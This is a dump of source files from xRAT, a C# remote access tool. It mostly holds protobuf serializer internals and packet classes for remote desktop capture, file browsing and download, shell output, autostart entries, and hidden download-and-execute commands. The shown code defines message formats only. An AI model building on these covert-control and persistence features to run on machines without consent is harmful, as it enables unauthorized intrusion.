ProtoBuf.Serializers 5 | { 6 | internal interface IProtoTypeSerializer : IProtoSerializer 7 | { 8 | bool HasCallbacks(TypeModel.CallbackType callbackType); 9 | bool CanCreateInstance(); 10 | #if !FEAT_IKVM 11 | object CreateInstance(ProtoReader source); 12 | void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context); 13 | #endif 14 | #if FEAT_COMPILER 15 | void EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType); 16 | #endif 17 | #if FEAT_COMPILER 18 | void EmitCreateInstance(Compiler.CompilerContext ctx); 19 | #endif 20 | } 21 | } 22 | 23 | #endif -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/Serializers/ISerializerProxy.cs: -------------------------------------------------------------------------------- 1 |  2 | #if !NO_RUNTIME 3 | 4 | namespace ProtoBuf.Serializers 5 | { 6 | internal interface ISerializerProxy 7 | { 8 | IProtoSerializer Serializer { get; } 9 | } 10 | } 11 | 12 | #endif -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/Serializers/KeyValuePairDecorator.cs: -------------------------------------------------------------------------------- 1 | namespace ProtoBuf.Serializers 2 | { 3 | /* 4 | sealed class KeyValuePairDecorator : IProtoSerializer 5 | { 6 | private readonly Type pairType; 7 | private readonly IProtoSerializer keyTail, valueTail; 8 | public KeyValuePairDecorator(Type pairType, IProtoSerializer keyTail, IProtoSerializer valueTail) { 9 | Helpers.DebugAssert(pairType != null); 10 | Helpers.DebugAssert(keyTail != null); 11 | Helpers.DebugAssert(valueTail != null); 12 | Helpers.DebugAssert(pairType == typeof(System.Collections.Generic.KeyValuePair<,>).MakeGenericType(keyTail.ExpectedType,valueTail.ExpectedType), "Key/value type mismatch"); 13 | this.pairType = pairType; 14 | this.keyTail = keyTail; 15 | this.valueTail = valueTail; 16 | } 17 | 18 | public Type ExpectedType { get { return pairType;}} 19 | public bool ReturnsValue { get { return true; } } 20 | public bool RequiresOldValue { get { return true; } } 21 | public abstract void Write(object value, ProtoWriter dest) 22 | { 23 | 24 | } 25 | public abstract object Read(object value, ProtoReader source) 26 | { 27 | 28 | } 29 | #if FEAT_COMPILER 30 | void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) 31 | { 32 | throw new NotImplementedException(); 33 | } 34 | void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) { 35 | throw new NotImplementedException(); 36 | } 37 | #endif 38 | }*/ 39 | } -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/Serializers/ProtoDecoratorBase.cs: -------------------------------------------------------------------------------- 1 | #if !NO_RUNTIME 2 | using System; 3 | using ProtoBuf.Meta; 4 | #if FEAT_IKVM 5 | using Type = IKVM.Reflection.Type; 6 | using IKVM.Reflection; 7 | #else 8 | using System.Reflection; 9 | 10 | #endif 11 | 12 | namespace ProtoBuf.Serializers 13 | { 14 | internal abstract class ProtoDecoratorBase : IProtoSerializer 15 | { 16 | public abstract Type ExpectedType { get; } 17 | protected readonly IProtoSerializer Tail; 18 | 19 | protected ProtoDecoratorBase(IProtoSerializer tail) 20 | { 21 | this.Tail = tail; 22 | } 23 | 24 | public abstract bool ReturnsValue { get; } 25 | public abstract bool RequiresOldValue { get; } 26 | #if !FEAT_IKVM 27 | public abstract void Write(object value, ProtoWriter dest); 28 | public abstract object Read(object value, ProtoReader source); 29 | #endif 30 | 31 | #if FEAT_COMPILER 32 | void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) { EmitWrite(ctx, valueFrom); } 33 | protected abstract void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom); 34 | void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) { EmitRead(ctx, valueFrom); } 35 | protected abstract void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom); 36 | #endif 37 | } 38 | } 39 | 40 | #endif -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/ServiceModel/ProtoBehaviorAttribute.cs: -------------------------------------------------------------------------------- 1 |  2 | #if FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER 3 | using System; 4 | using System.ServiceModel.Description; 5 | using System.ServiceModel.Dispatcher; 6 | 7 | namespace ProtoBuf.ServiceModel 8 | { 9 | /// 10 | /// Uses protocol buffer serialization on the specified operation; note that this 11 | /// must be enabled on both the client and server. 12 | /// 13 | [AttributeUsage(AttributeTargets.Method, AllowMultiple = false)] 14 | public sealed class ProtoBehaviorAttribute : Attribute, IOperationBehavior 15 | { 16 | void IOperationBehavior.AddBindingParameters(OperationDescription operationDescription, System.ServiceModel.Channels.BindingParameterCollection bindingParameters) 17 | { } 18 | 19 | void IOperationBehavior.ApplyClientBehavior(OperationDescription operationDescription, ClientOperation clientOperation) 20 | { 21 | IOperationBehavior innerBehavior = new ProtoOperationBehavior(operationDescription); 22 | innerBehavior.ApplyClientBehavior(operationDescription, clientOperation); 23 | } 24 | 25 | void IOperationBehavior.ApplyDispatchBehavior(OperationDescription operationDescription, DispatchOperation dispatchOperation) 26 | { 27 | IOperationBehavior innerBehavior = new ProtoOperationBehavior(operationDescription); 28 | innerBehavior.ApplyDispatchBehavior(operationDescription, dispatchOperation); 29 | } 30 | 31 | void IOperationBehavior.Validate(OperationDescription operationDescription) 32 | { } 33 | } 34 | } 35 | #endif -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/ServiceModel/ProtoBehaviorExtensionElement.cs: -------------------------------------------------------------------------------- 1 |  2 | #if FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER 3 | using System; 4 | using System.ServiceModel.Configuration; 5 | 6 | namespace ProtoBuf.ServiceModel 7 | { 8 | /// 9 | /// Configuration element to swap out DatatContractSerilaizer with the XmlProtoSerializer for a given endpoint. 10 | /// 11 | /// 12 | public class ProtoBehaviorExtension : BehaviorExtensionElement 13 | { 14 | /// 15 | /// Creates a new ProtoBehaviorExtension instance. 16 | /// 17 | public ProtoBehaviorExtension() 18 | { 19 | } 20 | 21 | /// 22 | /// Gets the type of behavior. 23 | /// 24 | public override Type BehaviorType 25 | { 26 | get 27 | { 28 | return typeof(ProtoEndpointBehavior); 29 | } 30 | } 31 | 32 | /// 33 | /// Creates a behavior extension based on the current configuration settings. 34 | /// 35 | /// The behavior extension. 36 | protected override object CreateBehavior() 37 | { 38 | return new ProtoEndpointBehavior(); 39 | } 40 | } 41 | } 42 | #endif -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/SubItemToken.cs: -------------------------------------------------------------------------------- 1 | namespace ProtoBuf 2 | { 3 | /// 4 | /// Used to hold particulars relating to nested objects. This is opaque to the caller - simply 5 | /// give back the token you are given at the end of an object. 6 | /// 7 | public struct SubItemToken 8 | { 9 | internal readonly int value; 10 | 11 | internal SubItemToken(int value) 12 | { 13 | this.value = value; 14 | } 15 | } 16 | } -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/WireType.cs: -------------------------------------------------------------------------------- 1 | namespace ProtoBuf 2 | { 3 | /// 4 | /// Indicates the encoding used to represent an individual value in a protobuf stream 5 | /// 6 | public enum WireType 7 | { 8 | /// 9 | /// Represents an error condition 10 | /// 11 | None = -1, 12 | 13 | /// 14 | /// Base-128 variant-length encoding 15 | /// 16 | Variant = 0, 17 | 18 | /// 19 | /// Fixed-length 8-byte encoding 20 | /// 21 | Fixed64 = 1, 22 | 23 | /// 24 | /// Length-variant-prefixed encoding 25 | /// 26 | String = 2, 27 | 28 | /// 29 | /// Indicates the start of a group 30 | /// 31 | StartGroup = 3, 32 | 33 | /// 34 | /// Indicates the end of a group 35 | /// 36 | EndGroup = 4, 37 | 38 | /// 39 | /// Fixed-length 4-byte encoding 40 | /// 10 41 | Fixed32 = 5, 42 | 43 | /// 44 | /// This is not a formal wire-type in the "protocol buffers" spec, but 45 | /// denotes a variant integer that should be interpreted using 46 | /// zig-zag semantics (so -ve numbers aren't a significant overhead) 47 | /// 48 | SignedVariant = WireType.Variant | (1 << 3), 49 | } 50 | } -------------------------------------------------------------------------------- /Client/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // Allgemeine Informationen über eine Assembly werden über die folgenden 5 | // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, 6 | // die mit einer Assembly verknüpft sind. 7 | [assembly: AssemblyTitle("")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("")] 12 | [assembly: AssemblyCopyright("")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar 17 | // für COM-Komponenten. Wenn Sie auf einen Typ in dieser Assembly von 18 | // COM zugreifen müssen, legen Sie das ComVisible-Attribut für diesen Typ auf "true" fest. 19 | [assembly: ComVisible(false)] 20 | 21 | // Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: 22 | // 23 | // Hauptversion 24 | // Nebenversion 25 | // Buildnummer 26 | // Revision 27 | // 28 | // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern 29 | // übernehmen, indem Sie "*" eingeben: 30 | // [assembly: AssemblyVersion("1.0.*")] 31 | [assembly: AssemblyVersion("0.0.0.0")] 32 | [assembly: AssemblyFileVersion("0.0.0.0")] 33 | -------------------------------------------------------------------------------- /Client/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // Dieser Code wurde von einem Tool generiert. 4 | // Laufzeitversion:4.0.30319.18444 5 | // 6 | // Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn 7 | // der Code erneut generiert wird. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace xClient.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Client/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Client/images/information.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Client/images/information.png -------------------------------------------------------------------------------- /Client/obj/x86/Debug/Client.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\admin\Downloads\Compressed\xRAT-master\Bin\Debug\Client.exe 2 | C:\Users\admin\Downloads\Compressed\xRAT-master\Bin\Debug\Client.pdb 3 | C:\Users\admin\Downloads\Compressed\xRAT-master\Client\obj\x86\Debug\Client.csprojResolveAssemblyReference.cache 4 | C:\Users\admin\Downloads\Compressed\xRAT-master\Client\obj\x86\Debug\xClient.Core.Elevation.FrmElevation.resources 5 | C:\Users\admin\Downloads\Compressed\xRAT-master\Client\obj\x86\Debug\xClient.Properties.Resources.resources 6 | C:\Users\admin\Downloads\Compressed\xRAT-master\Client\obj\x86\Debug\Client.csproj.GenerateResource.Cache 7 | C:\Users\admin\Downloads\Compressed\xRAT-master\Client\obj\x86\Debug\Client.exe 8 | C:\Users\admin\Downloads\Compressed\xRAT-master\Client\obj\x86\Debug\Client.pdb 9 | -------------------------------------------------------------------------------- /Client/obj/x86/Debug/xClient.Core.Elevation.FrmElevation.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Client/obj/x86/Debug/xClient.Core.Elevation.FrmElevation.resources -------------------------------------------------------------------------------- /Client/obj/x86/Debug/xClient.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Client/obj/x86/Debug/xClient.Properties.Resources.resources -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # xRAT 2 | xRAT is open source for remote desktop and execute command in client using socket to control. 3 | -------------------------------------------------------------------------------- /Server/Controls/ListViewEx.cs: -------------------------------------------------------------------------------- 1 | using System.Windows.Forms; 2 | 3 | namespace xServer.Controls 4 | { 5 | public partial class ListViewEx : ListView 6 | { 7 | public ListViewEx() 8 | { 9 | base.SetStyle(ControlStyles.OptimizedDoubleBuffer, true); 10 | this.DoubleBuffered = true; 11 | } 12 | } 13 | } -------------------------------------------------------------------------------- /Server/Controls/MainMenuEx.cs: -------------------------------------------------------------------------------- 1 | using System.Windows.Forms; 2 | 3 | namespace xServer.Controls 4 | { 5 | public partial class MainMenuEx : MainMenu 6 | { 7 | public MainMenuEx() 8 | { 9 | } 10 | } 11 | } -------------------------------------------------------------------------------- /Server/Core/Compression/JpgCompression.cs: -------------------------------------------------------------------------------- 1 | using System.Drawing; 2 | using System.Drawing.Imaging; 3 | using System.IO; 4 | 5 | namespace xServer.Core.Compression 6 | { 7 | public class JpgCompression 8 | { 9 | private readonly ImageCodecInfo _encoderInfo; 10 | private readonly EncoderParameters _encoderParams; 11 | 12 | public JpgCompression(long quality) 13 | { 14 | EncoderParameter parameter = new EncoderParameter(Encoder.Quality, quality); 15 | this._encoderInfo = GetEncoderInfo("image/jpeg"); 16 | this._encoderParams = new EncoderParameters(2); 17 | this._encoderParams.Param[0] = parameter; 18 | this._encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long) EncoderValue.CompressionRle); 19 | } 20 | 21 | public byte[] Compress(Bitmap bmp) 22 | { 23 | using (MemoryStream stream = new MemoryStream()) 24 | { 25 | bmp.Save(stream, _encoderInfo, _encoderParams); 26 | return stream.ToArray(); 27 | } 28 | } 29 | 30 | public void Compress(Bitmap bmp, ref Stream targetStream) 31 | { 32 | bmp.Save(targetStream, _encoderInfo, _encoderParams); 33 | } 34 | 35 | private ImageCodecInfo GetEncoderInfo(string mimeType) 36 | { 37 | ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); 38 | int num2 = imageEncoders.Length - 1; 39 | for (int i = 0; i <= num2; i++) 40 | { 41 | if (imageEncoders[i].MimeType == mimeType) 42 | { 43 | return imageEncoders[i]; 44 | } 45 | } 46 | return null; 47 | } 48 | } 49 | } -------------------------------------------------------------------------------- /Server/Core/Extensions/ListViewExtensions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Windows.Forms; 4 | 5 | namespace xServer.Core.Extensions 6 | { 7 | public static class ListViewExtensions 8 | { 9 | [DllImport("user32.dll")] 10 | private static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, int wParam, int lParam); 11 | 12 | [DllImport("uxtheme.dll", CharSet = CharSet.Unicode)] 13 | private static extern int SetWindowTheme(IntPtr hWnd, string pszSubAppName, int pszSubIdList); 14 | 15 | private const uint WM_CHANGEUISTATE = 0x127; 16 | private const uint SET_COLUMN_WIDTH = 4126; 17 | private const int AUTOSIZE_USEHEADER = -2; 18 | 19 | public static void RemoveDots(ListView targetListView) 20 | { 21 | SendMessage(targetListView.Handle, WM_CHANGEUISTATE, 65537, 0); 22 | } 23 | 24 | public static void ChangeTheme(ListView targetListView) 25 | { 26 | SetWindowTheme(targetListView.Handle, "Explorer", 0); 27 | } 28 | 29 | public static void AutosizeColumns(ListView targetListView) 30 | { 31 | for (int lngColumn = 0; lngColumn <= (targetListView.Columns.Count - 1); lngColumn++) 32 | { 33 | SendMessage(targetListView.Handle, SET_COLUMN_WIDTH, lngColumn, AUTOSIZE_USEHEADER); 34 | } 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /Server/Core/Misc/SavedVariables.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Core.Misc 2 | { 3 | public class Update 4 | { 5 | public static string DownloadURL { get; set; } 6 | } 7 | 8 | public class VisitWebsite 9 | { 10 | public static string URL { get; set; } 11 | public static bool Hidden { get; set; } 12 | } 13 | 14 | public class DownloadAndExecute 15 | { 16 | public static string URL { get; set; } 17 | public static bool RunHidden { get; set; } 18 | } 19 | 20 | public class UploadAndExecute 21 | { 22 | public static string FilePath { get; set; } 23 | public static bool RunHidden { get; set; } 24 | } 25 | 26 | public class AutostartItem 27 | { 28 | public static string Name { get; set; } 29 | public static string Path { get; set; } 30 | public static int Type { get; set; } 31 | } 32 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/DesktopResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class DesktopResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public byte[] Image { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public int Quality { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public int Monitor { get; set; } 16 | 17 | public DesktopResponse() 18 | { 19 | } 20 | 21 | public DesktopResponse(byte[] image, int quality, int monitor) 22 | { 23 | this.Image = image; 24 | this.Quality = quality; 25 | this.Monitor = monitor; 26 | } 27 | 28 | public void Execute(Client client) 29 | { 30 | client.Send(this); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/DirectoryResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class DirectoryResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string[] Files { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public string[] Folders { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public long[] FilesSize { get; set; } 16 | 17 | public DirectoryResponse() 18 | { 19 | } 20 | 21 | public DirectoryResponse(string[] files, string[] folders, long[] filessize) 22 | { 23 | this.Files = files; 24 | this.Folders = folders; 25 | this.FilesSize = filessize; 26 | } 27 | 28 | public void Execute(Client client) 29 | { 30 | client.Send(this); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/DownloadFileResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class DownloadFileResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int ID { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public string Filename { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public byte[] Block { get; set; } 16 | 17 | [ProtoMember(4)] 18 | public int MaxBlocks { get; set; } 19 | 20 | [ProtoMember(5)] 21 | public int CurrentBlock { get; set; } 22 | 23 | [ProtoMember(6)] 24 | public string CustomMessage { get; set; } 25 | 26 | public DownloadFileResponse() 27 | { 28 | } 29 | 30 | public DownloadFileResponse(int id, string filename, byte[] block, int maxblocks, int currentblock, 31 | string custommessage) 32 | { 33 | this.ID = id; 34 | this.Filename = filename; 35 | this.Block = block; 36 | this.MaxBlocks = maxblocks; 37 | this.CurrentBlock = currentblock; 38 | this.CustomMessage = custommessage; 39 | } 40 | 41 | public void Execute(Client client) 42 | { 43 | client.Send(this); 44 | } 45 | } 46 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/DrivesResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class DrivesResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string[] Drives { get; set; } 10 | 11 | public DrivesResponse() 12 | { 13 | } 14 | 15 | public DrivesResponse(string[] drives) 16 | { 17 | this.Drives = drives; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetProcessesResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class GetProcessesResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string[] Processes { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public int[] IDs { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public string[] Titles { get; set; } 16 | 17 | public GetProcessesResponse() 18 | { 19 | } 20 | 21 | public GetProcessesResponse(string[] processes, int[] ids, string[] titles) 22 | { 23 | this.Processes = processes; 24 | this.IDs = ids; 25 | this.Titles = titles; 26 | } 27 | 28 | public void Execute(Client client) 29 | { 30 | client.Send(this); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetStartupItemsResponse.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using ProtoBuf; 3 | 4 | namespace xServer.Core.Packets.ClientPackets 5 | { 6 | [ProtoContract] 7 | public class GetStartupItemsResponse : IPacket 8 | { 9 | [ProtoMember(1)] 10 | public Dictionary StartupItems { get; set; } 11 | 12 | public GetStartupItemsResponse() 13 | { 14 | } 15 | 16 | public GetStartupItemsResponse(Dictionary startupitems) 17 | { 18 | this.StartupItems = startupitems; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetSystemInfoResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class GetSystemInfoResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string[] SystemInfos { get; set; } 10 | 11 | public GetSystemInfoResponse() 12 | { 13 | } 14 | 15 | public GetSystemInfoResponse(string[] systeminfos) 16 | { 17 | this.SystemInfos = systeminfos; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/MonitorsResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class MonitorsResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int Number { get; set; } 10 | 11 | public MonitorsResponse() 12 | { 13 | } 14 | 15 | public MonitorsResponse(int number) 16 | { 17 | this.Number = number; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/ShellCommandResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class ShellCommandResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Output { get; set; } 10 | 11 | public ShellCommandResponse() 12 | { 13 | } 14 | 15 | public ShellCommandResponse(string output) 16 | { 17 | this.Output = output; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/Status.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class Status : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Message { get; set; } 10 | 11 | public Status() 12 | { 13 | } 14 | 15 | public Status(string message) 16 | { 17 | Message = message; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/UserStatus.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class UserStatus : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Message { get; set; } 10 | 11 | public UserStatus() 12 | { 13 | } 14 | 15 | public UserStatus(string message) 16 | { 17 | Message = message; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/IPacket.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Core.Packets 2 | { 3 | public interface IPacket 4 | { 5 | void Execute(Client client); 6 | } 7 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/Action.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Action : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int Mode { get; set; } 10 | 11 | public Action() 12 | { 13 | } 14 | 15 | public Action(int mode) 16 | { 17 | this.Mode = mode; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/AddStartupItem.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class AddStartupItem : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Name { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public string Path { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public int Type { get; set; } 16 | 17 | public AddStartupItem() 18 | { 19 | } 20 | 21 | public AddStartupItem(string name, string path, int type) 22 | { 23 | this.Name = name; 24 | this.Path = path; 25 | this.Type = type; 26 | } 27 | 28 | public void Execute(Client client) 29 | { 30 | client.Send(this); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/Delete.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Delete : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Path { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public bool IsDir { get; set; } 13 | 14 | public Delete() 15 | { 16 | } 17 | 18 | public Delete(string path, bool isdir) 19 | { 20 | this.Path = path; 21 | this.IsDir = isdir; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/Desktop.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Desktop : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int Quality { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public int Monitor { get; set; } 13 | 14 | public Desktop() 15 | { 16 | } 17 | 18 | public Desktop(int quality, int monitor) 19 | { 20 | this.Quality = quality; 21 | this.Monitor = monitor; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/Directory.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Directory : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string RemotePath { get; set; } 10 | 11 | public Directory() 12 | { 13 | } 14 | 15 | public Directory(string remotepath) 16 | { 17 | this.RemotePath = remotepath; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/Disconnect.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Disconnect : IPacket 7 | { 8 | public Disconnect() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DownloadAndExecute.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class DownloadAndExecute : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string URL { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public bool RunHidden { get; set; } 13 | 14 | public DownloadAndExecute() 15 | { 16 | } 17 | 18 | public DownloadAndExecute(string url, bool runhidden) 19 | { 20 | this.URL = url; 21 | this.RunHidden = runhidden; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DownloadFile.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class DownloadFile : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string RemotePath { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public int ID { get; set; } 13 | 14 | public DownloadFile() 15 | { 16 | } 17 | 18 | public DownloadFile(string remotepath, int id) 19 | { 20 | this.RemotePath = remotepath; 21 | this.ID = id; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- 